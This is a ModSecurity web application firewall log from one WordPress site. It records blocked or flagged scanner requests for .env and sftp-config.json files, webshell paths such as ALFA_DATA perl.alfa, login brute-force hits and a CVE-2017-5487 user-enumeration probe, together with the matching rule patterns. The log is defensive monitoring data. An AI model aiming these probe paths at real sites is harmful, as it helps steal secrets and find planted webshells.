[Tue Dec 09 01:23:34.464289 2025] [:error] [pid 57134:tid 57195] [client 34.31.48.182:63018] [client 34.31.48.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.31.48.182, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTcJlln7_Hlbg-DXKIsIrgAAAFU"]
[Tue Dec 09 02:55:51.461451 2025] [:error] [pid 57134:tid 57181] [client 4.230.25.181:16273] [client 4.230.25.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aTcfN1n7_Hlbg-DXKIsvugAAAEc"], referer: https://www.bing.com/
[Tue Dec 09 03:43:08.853620 2025] [:error] [pid 14081:tid 14085] [client 82.165.10.186:38778] [client 82.165.10.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.10.186, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTcqTDMRAqOE-nqbQTFPkwAAAMI"]
[Tue Dec 09 06:20:40.915619 2025] [:error] [pid 62040:tid 62092] [client 83.96.201.169:44894] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 83.96.201.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTdPOPkSVjwLGqZL-9JrqgAAAFY"]
[Tue Dec 09 06:41:00.284318 2025] [:error] [pid 62124:tid 62128] [client 35.87.144.223:34316] [client 35.87.144.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aTdT_FraBX51GaCVVuVPDgAAAME"]
[Tue Dec 09 07:22:55.011444 2025] [:error] [pid 62040:tid 62089] [client 49.233.45.47:52992] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTddz_kSVjwLGqZL-9J7JwAAAFM"]
[Tue Dec 09 07:35:00.503045 2025] [:error] [pid 34783:tid 34806] [client 203.56.159.38:1408] [client 203.56.159.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.56.159.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTdgpK17odLapL7SFcxNtwAAAVU"]
[Tue Dec 09 08:45:48.959523 2025] [:error] [pid 62040:tid 62080] [client 172.104.233.211:27416] [client 172.104.233.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.104.233.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTdxPPkSVjwLGqZL-9KI1wAAAEo"]
[Tue Dec 09 11:04:41.813056 2025] [:error] [pid 6053:tid 6066] [client 54.38.49.49:41716] [client 54.38.49.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.49.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTeRySHz_Tnml8kdMwz5-wAAAYs"]
[Tue Dec 09 11:21:37.832605 2025] [:error] [pid 62040:tid 62094] [client 45.138.16.233:50067] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/postnews.php"] [unique_id "aTeVwfkSVjwLGqZL-9KmvwAAAFg"]
[Tue Dec 09 11:21:38.430649 2025] [:error] [pid 62041:tid 62106] [client 45.138.16.233:50166] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aTeVwvOmnJGvfaNPxPOZuwAAAIk"]
[Tue Dec 09 11:21:39.027285 2025] [:error] [pid 62039:tid 62053] [client 45.138.16.233:50261] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aTeVw6-WdjFepfLrlW700QAAAAo"]
[Tue Dec 09 12:09:07.970934 2025] [:error] [pid 12069:tid 12086] [client 45.86.202.171:26245] [client 45.86.202.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aTeg42wNDNgPF6LHYDSSVgAAAE8"]
[Tue Dec 09 12:09:08.575241 2025] [:error] [pid 12069:tid 12075] [client 45.86.202.176:47003] [client 45.86.202.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "aTeg5GwNDNgPF6LHYDSSVwAAAEQ"]
[Tue Dec 09 12:09:09.191456 2025] [:error] [pid 12069:tid 12095] [client 45.86.202.187:32447] [client 45.86.202.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aTeg5WwNDNgPF6LHYDSSXQAAAFg"]
[Tue Dec 09 12:09:09.793958 2025] [:error] [pid 7324:tid 7353] [client 45.86.202.176:28727] [client 45.86.202.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aTeg5ef70zXc9zH4rTKmgAAAAVg"]
[Tue Dec 09 12:09:10.390749 2025] [:error] [pid 12069:tid 12072] [client 45.86.202.180:31055] [client 45.86.202.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env"] [unique_id "aTeg5mwNDNgPF6LHYDSSYAAAAEE"]
[Tue Dec 09 12:12:31.242651 2025] [:error] [pid 7324:tid 7340] [client 172.104.233.211:42496] [client 172.104.233.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.104.233.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTehr-f70zXc9zH4rTKndAAAAUs"]
[Tue Dec 09 13:20:12.303330 2025] [:error] [pid 7287:tid 7312] [client 200.152.177.16:37938] [client 200.152.177.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 200.152.177.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTexjP3UQf3HGDaVS5PkoQAAABc"]
[Tue Dec 09 13:25:40.655296 2025] [:error] [pid 7382:tid 7395] [client 182.44.10.67:52242] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTey1CdEXhamGkzwq-gXXAAAAcE"]
[Tue Dec 09 14:29:12.145679 2025] [:error] [pid 7382:tid 7418] [client 5.161.241.41:45246] [client 5.161.241.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.241.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTfBuCdEXhamGkzwq-gpcgAAAdg"]
[Tue Dec 09 14:51:47.428057 2025] [:error] [pid 7324:tid 7353] [client 103.77.106.81:63562] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "aTfHA-f70zXc9zH4rTLSZAAAAVg"]
[Tue Dec 09 14:52:43.206030 2025] [:error] [pid 7382:tid 7397] [client 45.138.16.233:64820] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHOydEXhamGkzwq-gwtwAAAcM"], referer: www.google.com
[Tue Dec 09 14:52:43.214753 2025] [:error] [pid 7382:tid 7414] [client 45.138.16.233:64837] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "aTfHOydEXhamGkzwq-gwuAAAAdQ"], referer: www.google.com
[Tue Dec 09 14:52:43.220894 2025] [:error] [pid 7325:tid 7356] [client 45.138.16.233:64882] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHOwqEQlZnpyQAsW1ZFgAAAYA"], referer: www.google.com
[Tue Dec 09 14:52:43.226613 2025] [:error] [pid 59388:tid 59399] [client 45.138.16.233:64984] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTfHO97acjYK4IXwCBWgvgAAAIk"]
[Tue Dec 09 14:52:43.539272 2025] [:error] [pid 7324:tid 7339] [client 45.138.16.233:64952] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "aTfHO-f70zXc9zH4rTLS5AAAAUo"], referer: www.google.com
[Tue Dec 09 14:52:43.842803 2025] [:error] [pid 59388:tid 59395] [client 45.138.16.233:54594] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHO97acjYK4IXwCBWgyAAAAIU"], referer: www.google.com
[Tue Dec 09 14:52:43.844790 2025] [:error] [pid 59388:tid 59391] [client 45.138.16.233:52113] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHO97acjYK4IXwCBWgxwAAAIE"], referer: www.google.com
[Tue Dec 09 14:52:43.844922 2025] [:error] [pid 59388:tid 59394] [client 45.138.16.233:54956] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTfHO97acjYK4IXwCBWgyQAAAIQ"]
[Tue Dec 09 14:52:44.181580 2025] [:error] [pid 7325:tid 7373] [client 45.138.16.233:54042] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "aTfHPAqEQlZnpyQAsW1ZHQAAAZE"], referer: www.google.com
[Tue Dec 09 14:52:44.549925 2025] [:error] [pid 59388:tid 59411] [client 45.138.16.233:52372] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHPN7acjYK4IXwCBWgzAAAAJU"], referer: www.google.com
[Tue Dec 09 14:52:44.559487 2025] [:error] [pid 59388:tid 59409] [client 45.138.16.233:52380] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHPN7acjYK4IXwCBWgzQAAAJM"], referer: www.google.com
[Tue Dec 09 14:52:44.561457 2025] [:error] [pid 59388:tid 59412] [client 45.138.16.233:52375] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTfHPN7acjYK4IXwCBWgzgAAAJY"]
[Tue Dec 09 14:52:44.794984 2025] [:error] [pid 59388:tid 59399] [client 45.138.16.233:53597] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "aTfHPN7acjYK4IXwCBWgzwAAAIk"], referer: www.google.com
[Tue Dec 09 14:52:45.192650 2025] [:error] [pid 59388:tid 59395] [client 45.138.16.233:55128] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHPd7acjYK4IXwCBWg1wAAAIU"], referer: www.google.com
[Tue Dec 09 14:52:45.204100 2025] [:error] [pid 59388:tid 59391] [client 45.138.16.233:55142] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTfHPd7acjYK4IXwCBWg2AAAAIE"]
[Tue Dec 09 14:52:45.223762 2025] [:error] [pid 59388:tid 59394] [client 45.138.16.233:55260] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHPd7acjYK4IXwCBWg2QAAAIQ"], referer: www.google.com
[Tue Dec 09 14:52:45.397198 2025] [:error] [pid 7324:tid 7346] [client 45.138.16.233:54656] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "aTfHPef70zXc9zH4rTLS6wAAAVE"], referer: www.google.com
[Tue Dec 09 14:52:45.817178 2025] [:error] [pid 7382:tid 7405] [client 45.138.16.233:61481] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHPSdEXhamGkzwq-gwwwAAAcs"], referer: www.google.com
[Tue Dec 09 14:52:45.833040 2025] [:error] [pid 7287:tid 7309] [client 45.138.16.233:61484] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTfHPf3UQf3HGDaVS5P8XwAAABQ"]
[Tue Dec 09 14:52:45.847141 2025] [:error] [pid 59388:tid 59400] [client 45.138.16.233:53758] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHPd7acjYK4IXwCBWg3gAAAIo"], referer: www.google.com
[Tue Dec 09 14:52:47.071093 2025] [:error] [pid 12069:tid 12080] [client 45.138.16.233:54112] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHP2wNDNgPF6LHYDTbRQAAAEk"], referer: www.google.com
[Tue Dec 09 14:52:47.125726 2025] [:error] [pid 7287:tid 7311] [client 45.138.16.233:53781] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHP_3UQf3HGDaVS5P8YAAAABY"], referer: www.google.com
[Tue Dec 09 14:52:50.423303 2025] [:error] [pid 7325:tid 7367] [client 45.138.16.233:52564] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfacgiapi/perl.alfa"] [unique_id "aTfHQgqEQlZnpyQAsW1ZKwAAAYs"], referer: www.google.com
[Tue Dec 09 14:52:51.613726 2025] [:error] [pid 7287:tid 7313] [client 45.138.16.233:53662] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfacgiapi/perl.alfa"] [unique_id "aTfHQ_3UQf3HGDaVS5P8bAAAABg"], referer: www.google.com
[Tue Dec 09 14:52:52.855317 2025] [:error] [pid 7324:tid 7342] [client 45.138.16.233:54786] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfacgiapi/perl.alfa"] [unique_id "aTfHROf70zXc9zH4rTLS7AAAAU0"], referer: www.google.com
[Tue Dec 09 14:52:54.083487 2025] [:error] [pid 7325:tid 7372] [client 45.138.16.233:52351] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfacgiapi/perl.alfa"] [unique_id "aTfHRgqEQlZnpyQAsW1ZMgAAAZA"], referer: www.google.com
[Tue Dec 09 14:52:55.272676 2025] [:error] [pid 7287:tid 7311] [client 45.138.16.233:52959] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfacgiapi/perl.alfa"] [unique_id "aTfHR_3UQf3HGDaVS5P8dgAAABY"], referer: www.google.com
[Tue Dec 09 18:10:39.500173 2025] [:error] [pid 30499:tid 30553] [client 198.244.177.113:47556] [client 198.244.177.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.244.177.113, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTf1n00x3OqZTOPp7cnDfQAAAVc"]
[Tue Dec 09 19:15:09.395370 2025] [:error] [pid 30500:tid 30577] [client 156.67.31.208:49598] [client 156.67.31.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 156.67.31.208, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTgEva2eIIK3JPWHCXW7XgAAAZQ"]
[Tue Dec 09 20:35:46.256099 2025] [:error] [pid 30500:tid 30570] [client 88.99.242.15:44022] [client 88.99.242.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.99.242.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTgXoq2eIIK3JPWHCXXjXQAAAY0"]
[Tue Dec 09 20:42:43.172980 2025] [:error] [pid 30498:tid 30514] [client 34.86.234.145:50774] [client 34.86.234.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.234.145, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTgZQx2mcZJQ5qP_RC02hAAAAAw"]
[Tue Dec 09 20:42:46.261664 2025] [:error] [pid 30498:tid 30521] [client 34.86.234.145:50774] [client 34.86.234.145] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTgZRh2mcZJQ5qP_RC02hwAAABM"]
